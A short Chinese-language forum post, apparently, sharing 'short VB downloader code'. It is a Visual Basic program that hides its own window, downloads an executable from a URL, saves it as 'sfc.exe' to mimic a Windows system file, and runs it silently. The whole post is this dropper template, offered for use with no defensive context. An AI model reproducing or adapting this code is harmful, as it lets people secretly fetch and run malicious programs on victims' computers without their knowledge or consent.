短小的VB下载者代码

fuchou-angle

短小的VB下载者代码
代码如下：

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.Visible = False
DownloadFile "http://down.360safe.com/install.exe", App.Path & "\sfc.exe"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\sfc.exe"
End If
End Function


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